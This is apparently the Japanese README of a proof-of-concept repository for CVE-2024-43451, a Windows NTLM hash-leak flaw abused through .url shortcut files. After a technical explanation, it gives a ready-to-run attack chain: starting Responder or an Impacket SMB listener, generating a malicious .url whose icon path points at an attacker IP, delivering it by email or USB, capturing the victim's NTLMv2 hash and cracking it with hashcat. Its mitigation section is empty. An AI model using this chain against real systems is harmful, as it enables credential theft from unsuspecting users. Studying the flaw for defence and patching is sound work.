CVE-2024-43451 — Windows NTLM ハッシュ漏えいのスプーフィング脆弱性

概要

CVE-2024-43451 は、Windows における NTLMv2 ハッシュ漏えいのスプーフィング脆弱性です。認証されていないリモートの攻撃者が、被害者に悪意のある .url ショートカットファイルとのやり取りを誘導することで、被害者の NTLM ハッシュを漏えいさせることができます。この脆弱性は、ごく最小限のユーザー操作（ファイルを右クリックする、削除する、移動するだけ）でトリガーされ、ハッシュが漏えいします。CVSS スコアは 6.5（Medium）で、すでに実環境で悪用されています。CISA はこれを Known Exploited Vulnerabilities（KEV）カタログに追加しました。

技術的詳細

NTLM 認証

NTLM（NT LAN Manager）は、Windows が使用するチャレンジレスポンス認証プロトコルです。クライアントが SMB 経由でリソースにアクセスしようとすると、クライアントとサーバーは次のハンドシェイクを実行します。

1. クライアントは、サポートされる機能を含む NEGOTIATE_MESSAGE を送信します。
2. サーバーは、8 バイトの nonce（サーバーチャレンジ）を含む CHALLENGE_MESSAGE で応答します。
3. クライアントは、NTLMv2 ハッシュを含む AUTHENTICATE_MESSAGE で応答します。これは、チャレンジとユーザーのパスワードハッシュ、ユーザー名、ドメインを組み合わせた HMAC-MD5 です。

攻撃者が、自身が制御するマシンへの NTLM 認証試行を監視またはトリガーできれば、キャプチャした AUTHENTICATE_MESSAGE をオフラインでクラックして平文パスワードを復元できます。

.url ファイル形式

.url ファイルは、Internet Explorer と Windows Explorer がリンクを保存するために使用するショートカットファイルです。これは [InternetShortcut] セクションを持つ INI 形式のファイルです。悪用に重要なフィールドは次のとおりです。

• URL= — Windows が開くターゲット URL。
• IconFile= — アイコンリソースへのオプションの UNC パス。Windows Explorer がファイルをレンダリングすると、リモート共有からアイコンを自動的に取得しようとし、攻撃者のサーバーへの NTLM 認証試行がトリガーされます。

攻撃ベクトル

攻撃者は、IconFile パラメータが \\attacker-ip\share\icon.ico を指す .url ファイルを作成します。被害者が次の操作を行うと:

• 右クリックする（Windows Explorer がコンテキストメニュー用にアイコンを取得する）、
• 移動またはコピーする（アイコンが再読み取りされる）、または
• 削除する（ごみ箱のダイアログ用にアイコンが取得される）、

Windows Explorer は UNC パスからアイコンを読み込もうとし、被害者の NTLMv2 ハッシュを攻撃者の SMB リスナー（Responder など）に送信します。

影響を受けるバージョン

2024 年 11 月の Patch Tuesday 更新プログラムより前の、サポートされているすべての Windows バージョン:

• Windows 10（すべてのバージョン）
• Windows 11
• Windows Server 2016 / 2019 / 2022 / 2025
• Windows Server 2008 / 2012 R2
• サポートが終了した古いバージョンも脆弱である可能性が高いですが、パッチは提供されません。

悪用のセットアップ

要件

• 攻撃者マシン: SMB キャプチャツール（Responder、Impacket の smbserver、Inveigh など）を備えた Linux または Windows。
• 被害者マシン: パッチ未適用の任意の Windows システム。
• ネットワークアクセス: 被害者は攻撃者の IP のポート 445（SMB）に到達できる必要があります。

ツール

再現手順

1. SMB リスナーを起動する（攻撃者マシン）

Responder を使用する場合:

sudo responder -I eth0 -v

または Impacket を使用する場合:

sudo impacket-smbserver share . -smb2support

2. 悪意のある .url ファイルを生成する

python exploit.py --ip 192.168.1.100 --output malicious.url

3. ファイルを被害者に配信する

• 電子メールの添付ファイル、USB メモリへのコピー、ファイル共有、または Web ダウンロード。

4. 被害者の操作

次のいずれかの操作でハッシュ漏えいがトリガーされます:

• 右クリック → コンテキストメニュー用にアイコンが取得される → NTLM ハンドシェイクが攻撃者に送信される
• 削除 → 確認ダイアログ用にアイコンが取得される
• 移動/コピー → UNC パスからアイコンが再読み取りされる
• 詳細表示またはアイコン表示でフォルダーを表示するだけ（アイコンの読み込み）

5. ハッシュをキャプチャする

攻撃者の SMB リスナーが NTLMv2 ハッシュを受信します:

[SMB] NTLMv2-SSP Hash     : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

6. ハッシュをクラックする（オフライン）

hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt

概念実証

# このリポジトリの exploit.py に完全な PoC 実装があります。
# このスクリプトは、IconFile が次のように設定された .url ファイルを生成します:
#   \\192.168.1.100\share\icon.ico
# また、必要に応じて IconIndex によるカスタム表示アイコンも設定します。

緩和策

参照

• Microsoft Security Response Center — CVE-2024-43451
• CISA Known Exploited Vulnerabilities Catalog
• NVD — CVE-2024-43451
• Responder — GitHub
• Impacket — GitHub
• The Hacker News — Ukrainian targeted attacks
• UAC-0194 / SparkRAT campaign analysis